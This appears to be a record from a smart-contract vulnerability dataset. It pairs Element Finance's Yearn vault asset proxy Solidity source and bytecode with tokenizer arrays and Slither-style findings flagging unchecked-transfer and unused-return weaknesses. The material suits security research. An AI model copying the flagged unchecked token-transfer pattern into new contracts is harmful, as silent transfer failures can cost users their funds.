1505092915050565b600060208284031215610dc657610dc56111b5565b5b6000610dd484828501610c66565b91505092915050565b600060208284031215610df357610df26111b5565b5b6000610e0184828501610c7b565b91505092915050565b600060208284031215610e2057610e1f6111b5565b5b6000610e2e84828501610c90565b91505092915050565b600060208284031215610e4d57610e4c6111b5565b5b6000610e5b84828501610ca5565b91505092915050565b610e6d81611057565b82525050565b610e7c81611069565b82525050565b6000610e8f602683610ff0565b9150610e9a826111cb565b604082019050919050565b6000610eb2602083610ff0565b9150610ebd8261121a565b602082019050919050565b610ed181611095565b82525050565b6000602082019050610eec6000830184610e64565b92915050565b6000606082019050610f076000830186610e64565b610f146020830185610e64565b610f216040830184610ec8565b949350505050565b6000602082019050610f3e6000830184610e73565b92915050565b60006020820190508181036000830152610f5d81610e82565b9050919050565b60006020820190508181036000830152610f7d81610ea5565b9050919050565b6000602082019050610f996000830184610ec8565b92915050565b6000610fa9610fba565b9050610fb5828261109f565b919050565b6000604051905090565b600067ffffffffffffffff821115610fdf57610fde611177565b5b602082029050602081019050919050565b600082825260208201905092915050565b600061100c82611095565b915061101783611095565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561104c5761104b611119565b5b828201905092915050565b600061106282611075565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6110a8826111ba565b810181811067ffffffffffffffff821117156110c7576110c6611177565b5b80604052505050565b60006110db82611095565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561110e5761110d611119565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b61124c81611057565b811461125757600080fd5b50565b61126381611069565b811461126e57600080fd5b50565b61127a81611095565b811461128557600080fd5b5056fea26469706673582212209bfc8878b67a33fcedc36903a329e5210695fad0d9446069fa0e810d5d2b33f464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22907, 2629, 2050, 2509, 27717, 21926, 2581, 2497, 2487, 2497, 2575, 2509, 3401, 2692, 2620, 2683, 2850, 4246, 4246, 2278, 2581, 14141, 2546, 2575, 2050, 2629, 2278, 23833, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 1045, 6914, 8445, 1063, 3853, 2131, 18715, 6132, 3762, 12384, 2121, 1006, 4769, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1031, 1033, 3638, 1007, 1025, 3853, 3954, 11253, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2003, 21270, 18715, 2368, 1006, 21318, 3372, 17788, 2575, 1035, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,676
0x97278Ce17D4860f8f49afC6E4c1C5AcBf2584cE5
// SPDX-License-Identifier: Apache-2.0 // WARNING: This has been validated for yearn vaults version 4.2, do not use for lower or higher // versions without review pragma solidity ^0.8.0; import "./interfaces/IERC20.sol"; import "./interfaces/IYearnVault.sol"; import "./YVaultAssetProxy.sol"; /// @author Element Finance /// @title Yearn Vault Asset Proxy contract YVaultV4AssetProxy is YVaultAssetProxy { /// @notice Constructs this contract by calling into the super constructor /// @param vault_ The yearn v2 vault, must be version 0.4.2 /// @param _token The underlying token. /// This token should revert in the event of a transfer failure. /// @param _name The name of the token created /// @param _symbol The symbol of the token created constructor( address vault_, IERC20 _token, string memory _name, string memory _symbol ) YVaultAssetProxy(vault_, _token, _name, _symbol) {} /// @notice Overrides the version checking to check for 0.4.2 instead /// @param _vault The yearn vault address /// @dev This function can be overridden by an inheriting upgrade contract function _versionCheck(IYearnVault _vault) internal override view { string memory apiVersion = _vault.apiVersion(); require(_stringEq(apiVersion, "0.4.2"), "Unsupported Version"); } /// @notice Converts an input of shares to it's output of underlying or an input /// of underlying to an output of shares, using yearn 's deposit pricing /// @param amount the amount of input, shares if 'sharesIn == true' underlying if not /// @param sharesIn true to convert from yearn shares to underlying, false to convert from /// underlying to yearn shares /// @dev WARNING - Fails for 0.3.2-0.3.5, please only use with 0.4.2 /// @return The converted output of either underlying or yearn shares function _yearnDepositConverter(uint256 amount, bool sharesIn) internal override view returns (uint256) { // Load the yearn price per share uint256 pricePerShare = vault.pricePerShare(); // If we are converted shares to underlying if (sharesIn) { // If the input is shares we multiply by the price per share return (pricePerShare * amount) / 10**vaultDecimals; } else { // If the input is in underlying we divide by price per share return (amount * 10**vaultDecimals) / (pricePerShare + 1); } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; interface IERC20 { function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); // Note this is non standard but nearly all ERC20 have exposed decimal functions function decimals() external view returns (uint8); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20.sol"; interface IYearnVault is IERC20 { function deposit(uint256, address) external returns (uint256); function withdraw( uint256, address, uint256 ) external returns (uint256); // Returns the amount of underlying per each unit [1e18] of yearn shares function pricePerShare() external view returns (uint256); function governance() external view returns (address); function setDepositLimit(uint256) external; function totalSupply() external view returns (uint256); function totalAssets() external view returns (uint256); function apiVersion() external view returns (string memory); } // SPDX-License-Identifier: Apache-2.0 // WARNING: This has been validated for yearn vaults up to version 0.2.11. // Using this code with any later version can be unsafe. pragma solidity ^0.8.0; import "./interfaces/IERC20.sol"; import "./interfaces/IYearnVault.sol"; import "./WrappedPosition.sol"; /// @author Element Finance /// @title Yearn Vault v1 Asset Proxy contract YVaultAssetProxy is WrappedPosition { IYearnVault public immutable vault; uint8 public immutable vaultDecimals; // This contract allows deposits to a reserve which can // be used to short circuit the deposit process and save gas // The following mapping tracks those non-transferable deposits mapping(address => uint256) public reserveBalances; // These variables store the token balances of this contract and // should be packed by solidity into a single slot. uint128 public reserveUnderlying; uint128 public reserveShares; // This is the total amount of reserve deposits uint256 public reserveSupply; /// @notice Constructs this contract and stores needed data /// @param vault_ The yearn v2 vault /// @param _token The underlying token. /// This token should revert in the event of a transfer failure. /// @param _name The name of the token created /// @param _symbol The symbol of the token created constructor( address vault_, IERC20 _token, string memory _name, string memory _symbol ) WrappedPosition(_token, _name, _symbol) { vault = IYearnVault(vault_); _token.approve(vault_, type(uint256).max); uint8 localVaultDecimals = IERC20(vault_).decimals(); vaultDecimals = localVaultDecimals; require( uint8(_token.decimals()) == localVaultDecimals, "Inconsistent decimals" ); // We check that this is a compatible yearn version _versionCheck(IYearnVault(vault_)); } /// @notice An override-able version checking function, reverts if the vault has the wrong version /// @param _vault The yearn vault address /// @dev This function can be overridden by an inheriting upgrade contract function _versionCheck(IYearnVault _vault) internal virtual view { string memory apiVersion = _vault.apiVersion(); require( _stringEq(apiVersion, "0.3.0") || _stringEq(apiVersion, "0.3.1") || _stringEq(apiVersion, "0.3.2") || _stringEq(apiVersion, "0.3.3") || _stringEq(apiVersion, "0.3.4") || _stringEq(apiVersion, "0.3.5"), "Unsupported Version" ); } /// @notice checks if two strings are equal /// @param s1 string one /// @param s2 string two /// @return bool whether they are equal function _stringEq(string memory s1, string memory s2) internal pure returns (bool) { bytes32 h1 = keccak256(abi.encodePacked(s1)); bytes32 h2 = keccak256(abi.encodePacked(s2)); return (h1 == h2); } /// @notice This function allows a user to deposit to the reserve /// Note - there's no incentive to do so. You could earn some /// interest but less interest than yearn. All deposits use /// the underlying token. /// @param _amount The amount of underlying to deposit function reserveDeposit(uint256 _amount) external { // Transfer from user, note variable 'token' is the immutable // inherited from the abstract WrappedPosition contract. token.transferFrom(msg.sender, address(this), _amount); // Load the reserves (uint256 localUnderlying, uint256 localShares) = _getReserves(); // Calculate the total reserve value uint256 totalValue = localUnderlying; totalValue += _yearnDepositConverter(localShares, true); // If this is the first deposit we need different logic uint256 localReserveSupply = reserveSupply; uint256 mintAmount; if (localReserveSupply == 0) { // If this is the first mint the tokens are exactly the supplied underlying mintAmount = _amount; } else { // Otherwise we mint the proportion that this increases the value held by this contract mintAmount = (localReserveSupply * _amount) / totalValue; } // This hack means that the contract will never have zero balance of underlying // which levels the gas expenditure of the transfer to this contract. Permanently locks // the smallest possible unit of the underlying. if (localUnderlying == 0 && localShares == 0) { _amount -= 1; } // Set the reserves that this contract has more underlying _setReserves(localUnderlying + _amount, localShares); // Note that the sender has deposited and increase reserveSupply reserveBalances[msg.sender] += mintAmount; reserveSupply = localReserveSupply + mintAmount; } /// @notice This function allows a holder of reserve balance to withdraw their share /// @param _amount The number of reserve shares to withdraw function reserveWithdraw(uint256 _amount) external { // Remove 'amount' from the balances of the sender. Because this is 8.0 it will revert on underflow reserveBalances[msg.sender] -= _amount; // We load the reserves (uint256 localUnderlying, uint256 localShares) = _getReserves(); uint256 localReserveSupply = reserveSupply; // Then we calculate the proportion of the shares to redeem uint256 userShares = (localShares * _amount) / localReserveSupply; // First we withdraw the proportion of shares tokens belonging to the caller uint256 freedUnderlying = vault.withdraw(userShares, address(this), 0); // We calculate the amount of underlying to send uint256 userUnderlying = (localUnderlying * _amount) / localReserveSupply; // We then store the updated reserve amounts _setReserves( localUnderlying - userUnderlying, localShares - userShares ); // We note a reduction in local supply reserveSupply = localReserveSupply - _amount; // We send the redemption underlying to the caller // Note 'token' is an immutable from shares token.transfer(msg.sender, freedUnderlying + userUnderlying); } /// @notice Makes the actual deposit into the yearn vault /// Tries to use the local balances before depositing /// @return Tuple (the shares minted, amount underlying used) function _deposit() internal override returns (uint256, uint256) { //Load reserves (uint256 localUnderlying, uint256 localShares) = _getReserves(); // Get the amount deposited uint256 amount = token.balanceOf(address(this)) - localUnderlying; // fixing for the fact there's an extra underlying if (localUnderlying != 0 || localShares != 0) { amount -= 1; } // Calculate the amount of shares the amount deposited is worth uint256 neededShares = _yearnDepositConverter(amount, false); // If we have enough in local reserves we don't call out for deposits if (localShares > neededShares) { // We set the reserves _setReserves(localUnderlying + amount, localShares - neededShares); // And then we short circuit execution and return return (neededShares, amount); } // Deposit and get the shares that were minted to this uint256 shares = vault.deposit(localUnderlying + amount, address(this)); // calculate the user share uint256 userShare = (amount * shares) / (localUnderlying + amount); // We set the reserves _setReserves(0, localShares + shares - userShare); // Return the amount of shares the user has produced, and the amount used for it. return (userShare, amount); } /// @notice Withdraw the number of shares and will short circuit if it can /// @param _shares The number of shares to withdraw /// @param _destination The address to send the output funds /// @param _underlyingPerShare The possibly precomputed underlying per share function _withdraw( uint256 _shares, address _destination, uint256 _underlyingPerShare ) internal override returns (uint256) { // If we do not have it we load the price per share if (_underlyingPerShare == 0) { _underlyingPerShare = _pricePerShare(); } // We load the reserves (uint256 localUnderlying, uint256 localShares) = _getReserves(); // Calculate the amount of shares the amount deposited is worth uint256 needed = (_shares * _pricePerShare()) / (10**vaultDecimals); // If we have enough underlying we don't have to actually withdraw if (needed < localUnderlying) { // We set the reserves to be the new reserves _setReserves(localUnderlying - needed, localShares + _shares); // Then transfer needed underlying to the destination // 'token' is an immutable in WrappedPosition token.transfer(_destination, needed); // Short circuit and return return (needed); } // If we don't have enough local reserves we do the actual withdraw // Withdraws shares from the vault. Max loss is set at 100% as // the minimum output value is enforced by the calling // function in the WrappedPosition contract. uint256 amountReceived = vault.withdraw( _shares + localShares, address(this), 10000 ); // calculate the user share uint256 userShare = (_shares * amountReceived) / (localShares + _shares); _setReserves(localUnderlying + amountReceived - userShare, 0); // Transfer the underlying to the destination 'token' is an immutable in WrappedPosition token.transfer(_destination, userShare); // Return the amount of underlying return userShare; } /// @notice Get the underlying amount of tokens per shares given /// @param _amount The amount of shares you want to know the value of /// @return Value of shares in underlying token function _underlying(uint256 _amount) internal override view returns (uint256) { return (_amount * _pricePerShare()) / (10**vaultDecimals); } /// @notice Get the price per share in the vault /// @return The price per share in units of underlying; function _pricePerShare() internal view returns (uint256) { return vault.pricePerShare(); } /// @notice Function to reset approvals for the proxy function approve() external { token.approve(address(vault), 0); token.approve(address(vault), type(uint256).max); } /// @notice Helper to get the reserves with one sload /// @return Tuple (reserve underlying, reserve shares) function _getReserves() internal view returns (uint256, uint256) { return (uint256(reserveUnderlying), uint256(reserveShares)); } /// @notice Helper to set reserves using one sstore /// @param _newReserveUnderlying The new reserve of underlying /// @param _newReserveShares The new reserve of wrapped position shares function _setReserves( uint256 _newReserveUnderlying, uint256 _newReserveShares ) internal { reserveUnderlying = uint128(_newReserveUnderlying); reserveShares = uint128(_newReserveShares); } /// @notice Converts an input of shares to it's output of underlying or an input /// of underlying to an output of shares, using yearn 's deposit pricing /// @param amount the amount of input, shares if 'sharesIn == true' underlying if not /// @param sharesIn true to convert from yearn shares to underlying, false to convert from /// underlying to yearn shares /// @dev WARNING - In yearn 0.3.1 - 0.3.5 this is an exact match for deposit logic /// but not withdraw logic in versions 0.3.2-0.3.5. In versions 0.4.0+ /// it is not a match for yearn deposit ratios. /// @return The converted output of either underlying or yearn shares function _yearnDepositConverter(uint256 amount, bool sharesIn) internal virtual view returns (uint256) { // Load the yearn total supply and assets uint256 yearnTotalSupply = vault.totalSupply(); uint256 yearnTotalAssets = vault.totalAssets(); // If we are converted shares to underlying if (sharesIn) { // then we get the fraction of yearn shares this is and multiply by assets return (yearnTotalAssets * amount) / yearnTotalSupply; } else { // otherwise we figure out the faction of yearn assets this is and see how // many assets we get out. return (yearnTotalSupply * amount) / yearnTotalAssets; } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./interfaces/IERC20.sol"; import "./interfaces/IWETH.sol"; import "./interfaces/IWrappedPosition.sol"; import "./libraries/ERC20Permit.sol"; /// @author Element Finance /// @title Wrapped Position Core abstract contract WrappedPosition is ERC20Permit, IWrappedPosition { IERC20 public immutable override token; /// @notice Constructs this contract /// @param _token The underlying token. /// This token should revert in the event of a transfer failure. /// @param _name the name of this contract /// @param _symbol the symbol for this contract constructor( IERC20 _token, string memory _name, string memory _symbol ) ERC20Permit(_name, _symbol) { token = _token; // We set our decimals to be the same as the underlying _setupDecimals(_token.decimals()); } /// We expect that the following logic will be present in an integration implementation /// which inherits from this contract /// @dev Makes the actual deposit into the 'vault' /// @return Tuple (shares minted, amount underlying used) function _deposit() internal virtual returns (uint256, uint256); /// @dev Makes the actual withdraw from the 'vault' /// @return returns the amount produced function _withdraw( uint256, address, uint256 ) internal virtual returns (uint256); /// @dev Converts between an internal balance representation /// and underlying tokens. /// @return The amount of underlying the input is worth function _underlying(uint256) internal virtual view returns (uint256); /// @notice Get the underlying balance of an address /// @param _who The address to query /// @return The underlying token balance of the address function balanceOfUnderlying(address _who) external override view returns (uint256) { return _underlying(balanceOf[_who]); } /// @notice Returns the amount of the underlying asset a certain amount of shares is worth /// @param _shares Shares to calculate underlying value for /// @return The value of underlying assets for the given shares function getSharesToUnderlying(uint256 _shares) external override view returns (uint256) { return _underlying(_shares); } /// @notice Entry point to deposit tokens into the Wrapped Position contract /// Transfers tokens on behalf of caller so the caller must set /// allowance on the contract prior to call. /// @param _amount The amount of underlying tokens to deposit /// @param _destination The address to mint to /// @return Returns the number of Wrapped Position tokens minted function deposit(address _destination, uint256 _amount) external override returns (uint256) { // Send tokens to the proxy token.transferFrom(msg.sender, address(this), _amount); // Calls our internal deposit function (uint256 shares, ) = _deposit(); // Mint them internal ERC20 tokens corresponding to the deposit _mint(_destination, shares); return shares; } /// @notice Entry point to deposit tokens into the Wrapped Position contract /// Assumes the tokens were transferred before this was called /// @param _destination the destination of this deposit /// @return Returns (WP tokens minted, used underlying, /// senders WP balance before mint) /// @dev WARNING - The call which funds this method MUST be in the same transaction // as the call to this method or you risk loss of funds function prefundedDeposit(address _destination) external override returns ( uint256, uint256, uint256 ) { // Calls our internal deposit function (uint256 shares, uint256 usedUnderlying) = _deposit(); uint256 balanceBefore = balanceOf[_destination]; // Mint them internal ERC20 tokens corresponding to the deposit _mint(_destination, shares); return (shares, usedUnderlying, balanceBefore); } /// @notice Exit point to withdraw tokens from the Wrapped Position contract /// @param _destination The address which is credited with tokens /// @param _shares The amount of shares the user is burning to withdraw underlying /// @param _minUnderlying The min output the caller expects /// @return The amount of underlying transferred to the destination function withdraw( address _destination, uint256 _shares, uint256 _minUnderlying ) public override returns (uint256) { return _positionWithdraw(_destination, _shares, _minUnderlying, 0); } /// @notice This function burns enough tokens from the sender to send _amount /// of underlying to the _destination. /// @param _destination The address to send the output to /// @param _amount The amount of underlying to try to redeem for /// @param _minUnderlying The minium underlying to receive /// @return The amount of underlying released, and shares used function withdrawUnderlying( address _destination, uint256 _amount, uint256 _minUnderlying ) external override returns (uint256, uint256) { // First we load the number of underlying per unit of Wrapped Position token uint256 oneUnit = 10**decimals; uint256 underlyingPerShare = _underlying(oneUnit); // Then we calculate the number of shares we need uint256 shares = (_amount * oneUnit) / underlyingPerShare; // Using this we call the normal withdraw function uint256 underlyingReceived = _positionWithdraw( _destination, shares, _minUnderlying, underlyingPerShare ); return (underlyingReceived, shares); } /// @notice This internal function allows the caller to provide a precomputed 'underlyingPerShare' /// so that we can avoid calling it again in the internal function /// @param _destination The destination to send the output to /// @param _shares The number of shares to withdraw /// @param _minUnderlying The min amount of output to produce /// @param _underlyingPerShare The precomputed shares per underlying /// @return The amount of underlying released function _positionWithdraw( address _destination, uint256 _shares, uint256 _minUnderlying, uint256 _underlyingPerShare ) internal returns (uint256) { // Burn users shares _burn(msg.sender, _shares); // Withdraw that many shares from the vault uint256 withdrawAmount = _withdraw( _shares, _destination, _underlyingPerShare ); // We revert if this call doesn't produce enough underlying // This security feature is useful in some edge cases require(withdrawAmount >= _minUnderlying, "Not enough underlying"); return withdrawAmount; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./IERC20Permit.sol"; import "./IERC20.sol"; interface IWrappedPosition is IERC20Permit { function token() external view returns (IERC20); function balanceOfUnderlying(address who) external view returns (uint256); function getSharesToUnderlying(uint256 shares) external view returns (uint256); function deposit(address sender, uint256 amount) external returns (uint256); function withdraw( address sender, uint256 _shares, uint256 _minUnderlying ) external returns (uint256); function withdrawUnderlying( address _destination, uint256 _amount, uint256 _minUnderlying ) external returns (uint256, uint256); function prefundedDeposit(address _destination) external returns ( uint256, uint256, uint256 ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "../interfaces/IERC20Permit.sol"; // This default erc20 library is designed for max efficiency and security. // WARNING: By default it does not include totalSupply which breaks the ERC20 standard // to use a fully standard compliant ERC20 use 'ERC20PermitWithSupply" abstract contract ERC20Permit is IERC20Permit { // --- ERC20 Data --- // The name of the erc20 token string public name; // The symbol of the erc20 token string public override symbol; // The decimals of the erc20 token, should default to 18 for new tokens uint8 public override decimals; // A mapping which tracks user token balances mapping(address => uint256) public override balanceOf; // A mapping which tracks which addresses a user allows to move their tokens mapping(address => mapping(address => uint256)) public override allowance; // A mapping which tracks the permit signature nonces for users mapping(address => uint256) public override nonces; // --- EIP712 niceties --- // solhint-disable-next-line var-name-mixedcase bytes32 public override DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice Initializes the erc20 contract /// @param name_ the value 'name' will be set to /// @param symbol_ the value 'symbol' will be set to /// @dev decimals default to 18 and must be reset by an inheriting contract for /// non standard decimal values constructor(string memory name_, string memory symbol_) { // Set the state variables name = name_; symbol = symbol_; decimals = 18; // By setting these addresses to 0 attempting to execute a transfer to // either of them will revert. This is a gas efficient way to prevent // a common user mistake where they transfer to the token address. // These values are not considered 'real' tokens and so are not included // in 'total supply' which only contains minted tokens. balanceOf[address(0)] = type(uint256).max; balanceOf[address(this)] = type(uint256).max; // Optional extra state manipulation _extraConstruction(); // Computes the EIP 712 domain separator which prevents user signed messages for // this contract to be replayed in other contracts. // https://eips.ethereum.org/EIPS/eip-712 DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256(bytes("1")), block.chainid, address(this) ) ); } /// @notice An optional override function to execute and change state before immutable assignment function _extraConstruction() internal virtual {} // --- Token --- /// @notice Allows a token owner to send tokens to another address /// @param recipient The address which will be credited with the tokens /// @param amount The amount user token to send /// @return returns true on success, reverts on failure so cannot return false. /// @dev transfers to this contract address or 0 will fail function transfer(address recipient, uint256 amount) public virtual override returns (bool) { // We forward this call to 'transferFrom' return transferFrom(msg.sender, recipient, amount); } /// @notice Transfers an amount of erc20 from a spender to a receipt /// @param spender The source of the ERC20 tokens /// @param recipient The destination of the ERC20 tokens /// @param amount the number of tokens to send /// @return returns true on success and reverts on failure /// @dev will fail transfers which send funds to this contract or 0 function transferFrom( address spender, address recipient, uint256 amount ) public virtual override returns (bool) { // Load balance and allowance uint256 balance = balanceOf[spender]; require(balance >= amount, "ERC20: insufficient-balance"); // We potentially have to change allowances if (spender != msg.sender) { // Loading the allowance in the if block prevents vanilla transfers // from paying for the sload. uint256 allowed = allowance[spender][msg.sender]; // If the allowance is max we do not reduce it // Note - This means that max allowances will be more gas efficient // by not requiring a sstore on 'transferFrom' if (allowed != type(uint256).max) { require(allowed >= amount, "ERC20: insufficient-allowance"); allowance[spender][msg.sender] = allowed - amount; } } // Update the balances balanceOf[spender] = balance - amount; // Note - In the constructor we initialize the 'balanceOf' of address 0 and // the token address to uint256.max and so in 8.0 transfers to those // addresses revert on this step. balanceOf[recipient] = balanceOf[recipient] + amount; // Emit the needed event emit Transfer(spender, recipient, amount); // Return that this call succeeded return true; } /// @notice This internal minting function allows inheriting contracts /// to mint tokens in the way they wish. /// @param account the address which will receive the token. /// @param amount the amount of token which they will receive /// @dev This function is virtual so that it can be overridden, if you /// are reviewing this contract for security you should ensure to /// check for overrides function _mint(address account, uint256 amount) internal virtual { // Add tokens to the account balanceOf[account] = balanceOf[account] + amount; // Emit an event to track the minting emit Transfer(address(0), account, amount); } /// @notice This internal burning function allows inheriting contracts to /// burn tokens in the way they see fit. /// @param account the account to remove tokens from /// @param amount the amount of tokens to remove /// @dev This function is virtual so that it can be overridden, if you /// are reviewing this contract for security you should ensure to /// check for overrides function _burn(address account, uint256 amount) internal virtual { // Reduce the balance of the account balanceOf[account] = balanceOf[account] - amount; // Emit an event tracking transfers emit Transfer(account, address(0), amount); } /// @notice This function allows a user to approve an account which can transfer /// tokens on their behalf. /// @param account The account which will be approve to transfer tokens /// @param amount The approval amount, if set to uint256.max the allowance does not go down on transfers. /// @return returns true for compatibility with the ERC20 standard function approve(address account, uint256 amount) public virtual override returns (bool) { // Set the senders allowance for account to amount allowance[msg.sender][account] = amount; // Emit an event to track approvals emit Approval(msg.sender, account, amount); return true; } /// @notice This function allows a caller who is not the owner of an account to execute the functionality of 'approve' with the owners signature. /// @param owner the owner of the account which is having the new approval set /// @param spender the address which will be allowed to spend owner's tokens /// @param value the new allowance value /// @param deadline the timestamp which the signature must be submitted by to be valid /// @param v Extra ECDSA data which allows public key recovery from signature assumed to be 27 or 28 /// @param r The r component of the ECDSA signature /// @param s The s component of the ECDSA signature /// @dev The signature for this function follows EIP 712 standard and should be generated with the /// eth_signTypedData JSON RPC call instead of the eth_sign JSON RPC call. If using out of date /// parity signing libraries the v component may need to be adjusted. Also it is very rare but possible /// for v to be other values, those values are not supported. function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { // The EIP 712 digest for this function bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner], deadline ) ) ) ); // Require that the owner is not zero require(owner != address(0), "ERC20: invalid-address-0"); // Require that we have a valid signature from the owner require(owner == ecrecover(digest, v, r, s), "ERC20: invalid-permit"); // Require that the signature is not expired require( deadline == 0 || block.timestamp <= deadline, "ERC20: permit-expired" ); // Format the signature to the default format require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ERC20: invalid signature 's' value" ); // Increment the signature nonce to prevent replay nonces[owner]++; // Set the allowance to the new value allowance[owner][spender] = value; // Emit an approval event to be able to track this happening emit Approval(owner, spender, value); } /// @notice Internal function which allows inheriting contract to set custom decimals /// @param decimals_ the new decimal value function _setupDecimals(uint8 decimals_) internal { // Set the decimals decimals = decimals_; } } // Forked from openzepplin // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit is IERC20 { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); }
0x608060405234801561001057600080fd5b50600436106101c35760003560e01c80637e2fb9f4116100f9578063d505accf11610097578063e613deb211610071578063e613deb21461038b578063ec5e5e7d1461039e578063fbfa77cf146103b1578063fc0c546a146103c6576101c3565b8063d505accf1461035d578063d6b1aaaf14610370578063dd62ed3e14610378576101c3565b806395d89b41116100d357806395d89b41146103275780639d6179c31461032f578063a9059cbb14610337578063b5c5f6721461034a576101c3565b80637e2fb9f4146102df5780637ecebe00146102f257806385f45c8814610305576101c3565b8063313ce5671161016657806347e7ef241161014057806347e7ef241461028357806358c7aa0f1461029657806367caf871146102ab57806370a08231146102cc576101c3565b8063313ce567146102535780633644e515146102685780633af9e66914610270576101c3565b8063095ea7b3116101a2578063095ea7b31461021057806312424e3f1461023057806323b872dd1461023857806330adf81f1461024b576101c3565b806291a446146101c857806303d41eb6146101dd57806306fdde03146101fb575b600080fd5b6101db6101d6366004611bea565b6103ce565b005b6101e5610548565b6040516101f29190611cac565b60405180910390f35b61020361054e565b6040516101f29190611d07565b61022361021e366004611b6f565b6105dc565b6040516101f29190611ca1565b6101db610647565b610223610246366004611ac3565b610800565b6101e56109a5565b61025b6109c9565b6040516101f29190611f96565b6101e56109d2565b6101e561027e366004611a77565b6109d8565b6101e5610291366004611b6f565b610a02565b61029e610ad8565b6040516101f29190611f1f565b6102be6102b9366004611b98565b610b04565b6040516101f2929190611f72565b6101e56102da366004611a77565b610b61565b6101e56102ed366004611a77565b610b73565b6101e5610300366004611a77565b610b85565b610318610313366004611a77565b610b97565b6040516101f293929190611f80565b610203610bdc565b61025b610be9565b61022